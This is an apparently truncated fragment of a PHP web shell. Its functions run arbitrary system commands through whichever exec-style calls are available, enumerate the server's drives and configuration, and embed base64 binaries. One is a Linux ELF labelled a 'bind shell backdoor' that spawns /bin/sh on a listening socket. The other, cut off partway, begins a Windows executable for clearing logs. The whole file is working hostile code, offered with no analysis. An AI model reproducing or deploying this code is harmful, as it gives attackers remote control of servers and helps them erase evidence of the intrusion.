@ini_get(\"disable_functions\");\r\nif (!empty(\$disablefunc)) {\r\n \$disablefunc = str_replace(\" \",\"\",\$disablefunc);\r\n \$disablefunc = explode(\",\",\$disablefunc);\r\n}\r\nfunction get_phpini() {\r\n function U_wordwrap(\$str) {\r\n \$str = @wordwrap(@htmlspecialchars(\$str), 100, '<wbr />', true);\r\n return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '\$1\$2<wbr />', \$str);\r\n }\r\n function U_value(\$value) {\r\n if (\$value == '') return '<i>no value</i>';\r\n if (@is_bool(\$value)) return \$value ? 'TRUE' : 'FALSE';\r\n if (\$value === null) return 'NULL';\r\n if (@is_object(\$value)) \$value = (array) \$value;\r\n if (@is_array(\$value)) {\r\n @ob_start();\r\n print_r(\$value);\r\n \$value = @ob_get_contents();\r\n @ob_end_clean();\r\n }\r\n return U_wordwrap((string) \$value);\r\n }\r\n if (@function_exists('ini_get_all')) {\r\n \$r = \"\";\r\n echo \"<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>\";\r\n foreach (@ini_get_all() as \$key=>\$value) {\r\n \$r .= \"<tr><td>\".\$key.\"</td><td><div align=center>\".U_value(\$value['local_value']).\"</div></td><td><div align=center>\".U_value(\$value['global_value']).\"</div></td></tr>\";\r\n }\r\n echo \$r;\r\n echo \"</table>\";\r\n }\r\n}\r\n\r\nfunction disp_drives(\$curdir,\$surl) {\r\n \$letters = \"\";\r\n \$v = explode(\"\\\\\",\$curdir);\r\n \$v = \$v[0];\r\n foreach (range(\"A\",\"Z\") as \$letter) {\r\n \$bool = \$isdiskette = \$letter == \"A\";\r\n if (!\$bool) {\$bool = is_dir(\$letter.\":\\\\\");}\r\n if (\$bool) {\r\n \$letters .= \"<a href=\\\"\".\$surl.\"x=ls&d=\".urlencode(\$letter.\":\\\\\").\"\\\"\".\r\n (\$isdiskette?\" onclick=\\\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\\\"\":\"\").\"> [\";\r\n if (\$letter.\":\" != \$v) {\$letters .= \$letter;}\r\n else {\$letters .= \"<font color=red>\".\$letter.\"</font>\";}\r\n \$letters .= \"]</a> \";\r\n }\r\n }\r\n if (!empty(\$letters)) {Return \$letters;}\r\n else {Return \"None\";}\r\n}\r\nif (is_callable(\"disk_free_space\")) {\r\n function disp_freespace(\$curdrv) {\r\n \$free = disk_free_space(\$curdrv);\r\n \$total = disk_total_space(\$curdrv);\r\n if (\$free === FALSE) {\$free = 0;}\r\n if (\$total === FALSE) {\$total = 0;}\r\n if (\$free < 0) {\$free = 0;}\r\n if (\$total < 0) {\$total = 0;}\r\n \$used = \$total-\$free;\r\n \$free_percent = round(100/(\$total/\$free),2).\"%\";\r\n \$free = view_size(\$free);\r\n \$total = view_size(\$total);\r\n return \"\$free of \$total (\$free_percent)\";\r\n }\r\n}\r\nif (!function_exists(\"myshellexec\")) {\r\n if(is_callable(\"popen\")) {\r\n function myshellexec(\$cmd) {\r\n if (!(\$p=popen(\"(\$cmd)2>&1\",\"r\"))) { return \"popen Disabled!\"; }\r\n while (!feof(\$p)) {\r\n \$line=fgets(\$p,1024);\r\n \$out .= \$line;\r\n }\r\n pclose(\$p);\r\n return \$out;\r\n }\r\n } else {\r\n function myshellexec(\$cmd) {\r\n global \$disablefunc;\r\n \$result = \"\";\r\n if (!empty(\$cmd)) {\r\n if (is_callable(\"exec\") and !in_array(\"exec\",\$disablefunc)) {\r\n exec(\$cmd,\$result);\r\n \$result = join(\"\\n\",\$result);\r\n } elseif ((\$result = \$cmd) !== FALSE) {\r\n } elseif (is_callable(\"system\") and !in_array(\"system\",\$disablefunc)) {\r\n \$v = @ob_get_contents(); @ob_clean(); system(\$cmd); \$result = @ob_get_contents(); @ob_clean(); echo \$v;\r\n } elseif (is_callable(\"passthru\") and !in_array(\"passthru\",\$disablefunc)) {\r\n \$v = @ob_get_contents(); @ob_clean(); passthru(\$cmd); \$result = @ob_get_contents(); @ob_clean(); echo \$v;\r\n } elseif (is_resource(\$fp = popen(\$cmd,\"r\"))) {\r\n \$result = \"\";\r\n while(!feof(\$fp)) { \$result .= fread(\$fp,1024); }\r\n pclose(\$fp);\r\n }\r\n }\r\n return \$result;\r\n }\r\n }\r\n}\r\nfunction ex(\$cfe) {\r\n \$res = '';\r\n if (!empty(\$cfe)) {\r\n if(function_exists('exec')) {\r\n @exec(\$cfe,\$res);\r\n \$res = join(\"\\n\",\$res);\r\n } elseif(function_exists('shell_exec')) {\r\n \$res = @shell_exec(\$cfe);\r\n } elseif(function_exists('system')) {\r\n @ob_start();\r\n @system(\$cfe);\r\n \$res = @ob_get_contents();\r\n @ob_end_clean();\r\n } elseif(function_exists('passthru')) {\r\n @ob_start();\r\n @passthru(\$cfe);\r\n \$res = @ob_get_contents();\r\n @ob_end_clean();\r\n } elseif(@is_resource(\$f = @popen(\$cfe,\"r\"))) {\r\n \$res = \"\";\r\n while(!@feof(\$f)) { \$res .= @fread(\$f,1024); }\r\n @pclose(\$f);\r\n } else { \$res = \"Ex() Disabled!\"; }\r\n }\r\n return \$res;\r\n}\r\nfunction which(\$pr) {\r\n \$path = ex(\"which \$pr\");\r\n if(!empty(\$path)) { return \$path; } else { return \$pr; }\r\n}\r\n\r\n\$hostname_x = php_uname(n);\r\n\$itshome = getcwd();\r\nif (!\$win) {\r\n \$itshome = str_replace(\"/home/\",\"~\",\$itshome);\r\n \$itshome = str_replace(\"/public_html\",\"/ca.php\",\$itshome);\r\n}\r\nelse { \$itshome = \"\"; }\r\n\$enumerate = \"http://\".\$hostname_x.\"/\".\$itshome.\"\";\r\n\r\n\r\n\$Lversion = php_uname(r);\r\n\$OSV = php_uname(s);\r\n\r\n\r\n\$backdoor = \"f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjoe/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAACD7AzoEfz//42DIP///42TIP///4lF8CnQwfgCOcZzFonX/xSyi0Xwg8YBKfiJ+sH4AjnGcuyDxAxbXl9dw1WJ5YPsGIld9Ogt/f//gcPREQAAiXX4iX38jbMg////jbsg////Kf7B/gLrA/8Ut4PuAYP+/3X16DoAAACLXfSLdfiLffyJ7F3DkFWJ5VOD7AShrJkECIP4/3QSu6yZBAj/0ItD/IPrBIP4/3Xzg8QEW13DkJCQVYnlU+i7/P//gcNfEQAAg+wE6LH8//+DxARbXcMAAAADAAAAAQACADo6IHc0Y2sxbmctc2hlbGwgKFByaXZhdGUgQnVpbGQgdjAuMykgYmluZCBzaGVsbCBiYWNrZG9vciA6OiAKCgBzb2NrZXQAYmluZABsaXN0ZW4AL2Jpbi9zaAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAACQAAAAMAAAAiIQECA0AAAAkiQQIBAAAAEiBBAgFAAAAEIMECAYAAADggQQICgAAALAAAAALAAAAEAAAABUAAAAAAAAAAwAAAIyaBAgCAAAAeAAAABQAAAARAAAAFwAAABCEBAgRAAAACIQECBIAAAAIAAAAEwAAAAgAAAD+//9v6IMECP///28BAAAA8P//b8CDBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJkECAAAAAAAAAAAtoQECMaEBAjWhAQI5oQECPaEBAgGhQQIFoUECCaFBAg2hQQIRoUECFaFBAhmhQQIdoUECIaFBAiWhQQIAAAAAAAAAAC4mQQIAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAAAcAAAAAgAAAAAABAAAAAAAoIUECCIAAAAAAAAAAAAAADQAAAACAAsBAAAEAAAAAADohQQIBAAAACSJBAgSAAAAiIQECAsAAADEhQQIJAAAAAAAAAAAAAAALAAAAAIAmwEAAAQAAAAAAOiFBAgEAAAAO4kECAYAAACdhAQIAgAAAAAAAAAAAAAAIQAAAAIAegAAAJEAAAB5AAAAX0lPX3N0ZGluX3VzZWQAAAAAAHYAAAACAAAAAAAEAQAAAACghQQIwoUECC4uL3N5c2RlcHMvaTM4Ni9lbGYvc3RhcnQuUwAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvZ2xpYmMtMi4zLjYvY3N1AEdOVSBBUyAyLjE2LjkxAAGAjQAAAAIAFAAAAAQBWwAAAMSFBAjEhQQIYgAAAAEAAAAAEQAAAAKQAAAABAcCVAAAAAEIAp0AAAACBwKLAAAABAcCVgAAAAEGAgcAAAACBQNpbnQABAUCRgAAAAgFAoYAAAAIBwJLAAAABAUCkAAAAAQHAl0AAAABBgSwAAAAARmLAAAAAQUDSIkECAVPAAAAAIwAAAACAFYAAAAEAYIAAAAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdS9jcnRpLlMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBHTlUgQVMgMi4xNi45MQABgIwAAAACAGYAAAAEAS8BAAAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdS9jcnRuLlMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBHTlUgQVMgMi4xNi45MQABgAERABAGEQESAQMIGwglCBMFAAAAAREBEAYSAREBJQ4TCwMOGw4AAAIkAAMOCws+CwAAAyQAAwgLCz4LAAAENAADDjoLOwtJEz8MAgoAAAUmAEkTAAAAAREAEAYDCBsIJQgTBQAAAAERABAGAwgbCCUIEwUAAABXAAAAAgAyAAAAAQH7Dg0AAQEBAQAAAAEAAAEuLi9zeXNkZXBzL2kzODYvZWxmAABzdGFydC5TAAEAAAAABQKghQQIA8AAATMhND0lIgMYIFlaISJcWwIBAAEBIwAAAAIAHQAAAAEB+w4NAAEBAQEAAAABAAABAGluaXQuYwAAAAAAqQAAAAIAUAAAAAEB+w4NAAEBAQEAAAABAAABL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UAAGNydGkuUwABAAAAAAUC6IUECAPAAAE9AgEAAQEABQIkiQQIAy4BIS8hWWcCAwABAQAFAoiEBAgDHwEhLz0CBQABAQAFAsSFBAgDCgEhLyFZZz1nLy8wPSEhAgEAAQGIAAAAAgBQAAAAAQH7Dg0AAQEBAQAAAAEAAAEvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdQAAY3J0bi5TAAEAAAAABQLohQQIAyEBPQIBAAEBAAUCO4kECAMSAT0hIQIBAAEBAAUCnYQECAMJASECAQABAWluaXQuYwBzaG9ydCBpbnQAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBsb25nIGxvbmcgaW50AHVuc2lnbmVkIGNoYXIAR05VIEMgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAbG9uZyBsb25nIHVuc2lnbmVkIGludABzaG9ydCB1bnNpZ25lZCBpbnQAX0lPX3N0ZGluX3VzZWQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmN0b3JzAC5kdG9ycwAuamNyAC5keW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAuZGVidWdfYXJhbmdlcwAuZGVidWdfcHVibmFtZXMALmRlYnVnX2luZm8ALmRlYnVnX2FiYnJldgAuZGVidWdfbGluZQAuZGVidWdfc3RyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAFIEECBQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAACiBBAgoAQAAIAAAAAAAAAAAAAAABAAAAAAAAAAxAAAABQAAAAIAAABIgQQISAEAAJgAAAAEAAAAAAAAAAQAAAAEAAAANwAAAAsAAAACAAAA4IEECOABAAAwAQAABQAAAAEAAAAEAAAAEAAAAD8AAAADAAAAAgAAABCDBAgQAwAAsAAAAAAAAAAAAAAAAQAAAAAAAABHAAAA////bwIAAADAgwQIwAMAACYAAAAEAAAAAAAAAAIAAAACAAAAVAAAAP7//28CAAAA6IMECOgDAAAgAAAABQAAAAEAAAAEAAAAAAAAAGMAAAAJAAAAAgAAAAiEBAgIBAAACAAAAAQAAAAAAAAABAAAAAgAAABsAAAACQAAAAIAAAAQhAQIEAQAAHgAAAAEAAAACwAAAAQAAAAIAAAAdQAAAAEAAAAGAAAAiIQECIgEAAAXAAAAAAAAAAAAAAABAAAAAAAAAHAAAAABAAAABgAAAKCEBAigBAAAAAEAAAAAAAAAAAAABAAAAAQAAAB7AAAAAQAAAAYAAACghQQIoAUAAIQDAAAAAAAAAAAAAAQAAAAAAAAAgQAAAAEAAAAGAAAAJIkECCQJAAAdAAAAAAAAAAAAAAABAAAAAAAAAIcAAAABAAAAAgAAAESJBAhECQAAYwAAAAAAAAAAAAAABAAAAAAAAACPAAAAAQAAAAIAAACoiQQIqAkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAmQAAAAEAAAADAAAArJkECKwJAAAIAAAAAAAAAAAAAAAEAAAAAAAAAKAAAAABAAAAAwAAALSZBAi0CQAACAAAAAAAAAAAAAAABAAAAAAAAACnAAAAAQAAAAMAAAC8mQQIvAkAAAQAAAAAAAAAAAAAAAQAAAAAAAAArAAAAAYAAAADAAAAwJkECMAJAADIAAAABQAAAAAAAAAEAAAACAAAALUAAAABAAAAAwAAAIiaBAiICgAABAAAAAAAAAAAAAAABAAAAAQAAAC6AAAAAQAAAAMAAACMmgQIjAoAAEgAAAAAAAAAAAAAAAQAAAAEAAAAwwAAAAEAAAADAAAA1JoECNQKAAAMAAAAAAAAAAAAAAAEAAAAAAAAAMkAAAAIAAAAAwAAAOCaBAjgCgAABAAAAAAAAAAAAAAABAAAAAAAAADOAAAAAQAAAAAAAAAAAAAA4AoAACYBAAAAAAAAAAAAAAEAAAAAAAAA1wAAAAEAAAAAAAAAAAAAAAgMAACIAAAAAAAAAAAAAAAIAAAAAAAAAOYAAAABAAAAAAAAAAAAAACQDAAAJQAAAAAAAAAAAAAAAQAAAAAAAAD2AAAAAQAAAAAAAAAAAAAAtQwAACsCAAAAAAAAAAAAAAEAAAAAAAAAAgEAAAEAAAAAAAAAAAAAAOAOAAB2AAAAAAAAAAAAAAABAAAAAAAAABABAAABAAAAAAAAAAAAAABWDwAAuwEAAAAAAAAAAAAAAQAAAAAAAAAcAQAAAQAAADAAAAAAAAAAEREAAL8AAAAAAAAAAAAAAAEAAAABAAAAEQAAAAMAAAAAAAAAAAAAANARAAAnAQAAAAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAABIGAAA8AUAACEAAAA/AAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAAAOB4AALIDAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgQQIAAAAAAMAAQAAAAAAKIEECAAAAAADAAIAAAAAAEiBBAgAAAAAAwADAAAAAADggQQIAAAAAAMABAAAAAAAEIMECAAAAAADAAUAAAAAAMCDBAgAAAAAAwAGAAAAAADogwQIAAAAAAMABwAAAAAACIQECAAAAAADAAgAAAAAABCEBAgAAAAAAwAJAAAAAACIhAQIAAAAAAMACgAAAAAAoIQECAAAAAADAAsAAAAAAKCFBAgAAAAAAwAMAAAAAAAkiQQIAAAAAAMADQAAAAAARIkECAAAAAADAA4AAAAAAKiJBAgAAAAAAwAPAAAAAACsmQQIAAAAAAMAEAAAAAAAtJkECAAAAAADABEAAAAAALyZBAgAAAAAAwASAAAAAADAmQQIAAAAAAMAEwAAAAAAiJoECAAAAAADABQAAAAAAIyaBAgAAAAAAwAVAAAAAADUmgQIAAAAAAMAFgAAAAAA4JoECAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAADABoAAAAAAAAAAAAAAAAAAwAbAAAAAAAAAAAAAAAAAAMAHAAAAAAAAAAAAAAAAAADAB0AAAAAAAAAAAAAAAAAAwAeAAAAAAAAAAAAAAAAAAMAHwAAAAAAAAAAAAAAAAADACAAAAAAAAAAAAAAAAAAAwAhAAEAAAAAAAAAAAAAAAQA8f8MAAAAAAAAAAAAAAAEAPH/KAAAAAAAAAAAAAAABADx/y8AAAAAAAAAAAAAAAQA8f86AAAAAAAAAAAAAAAEAPH/dAAAAMSFBAgAAAAAAgAMAIQAAAAAAAAAAAAAAAQA8f+PAAAArJkECAAAAAABABAAnQAAALSZBAgAAAAAAQARAKsAAAC8mQQIAAAAAAEAEgC4AAAA4JoECAEAAAABABcAxwAAANyaBAgAAAAAAQAWAM4AAADshQQIAAAAAAIADADkAAAAG4YECAAAAAACAAwAhAAAAAAAAAAAAAAABADx//AAAACwmQQIAAAAAAEAEAD9AAAAuJkECAAAAAABABEACgEAAKiJBAgAAAAAAQAPABgBAAC8mQQIAAAAAAEAEgAkAQAA+IgECAAAAAACAAwALwAAAAAAAAAAAAAABADx/zoBAAAAAAAAAAAAAAQA8f90AQAAAAAAAAAAAAAEAPH/eAEAAMCZBAgAAAAAAQITAIEBAACsmQQIAAAAAAAC8f+SAQAArJkECAAAAAAAAvH/pQEAAKyZBAgAAAAAAALx/7YBAACMmgQIAAAAAAECFQDMAQAArJkECAAAAAAAAvH/3wEAAAAAAAB1AQAAEgAAAPABAAAAAAAAcQAAABIAAAABAgAARIkECAQAAAARAA4ACAIAAAAAAADMAAAAEgAAABoCAAAAAAAAWgAAABIAAAAqAgAA2JoECAAAAAARAhYANwIAAK2IBAhKAAAAEgAMAEcCAAAAAAAAeAAAABIAAABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A\";\r\n\r\n\$clearlogs = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v\r\nZGUuDQ0KJAAAAAAAAAB12cLfMbisjDG4rIwxuKyM2aenjDC4rIyypKKMOrisjFOnv4w0uKyMMbit\r\njB+4rIzZp6aMGrisjFJpY2gxuKyMAAAAAAAAAABQRQAATAEDAEe3XzwAAAAAAAAAAOAADwELAQYA\r\nAEAAAABAAAAAAAAADhYAAAAQAAAAUAAAAABAAAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAACQAAAA\r\nEAAAAAAAAAMAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJxUAAA8AAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAUAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA\r\nBj8AAAAQAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAALAIAAAAUAAAABAAAABQAAAA\r\nAAAAAAAAAAAAAABAAABALmRhdGEAAADcIQAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAwAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA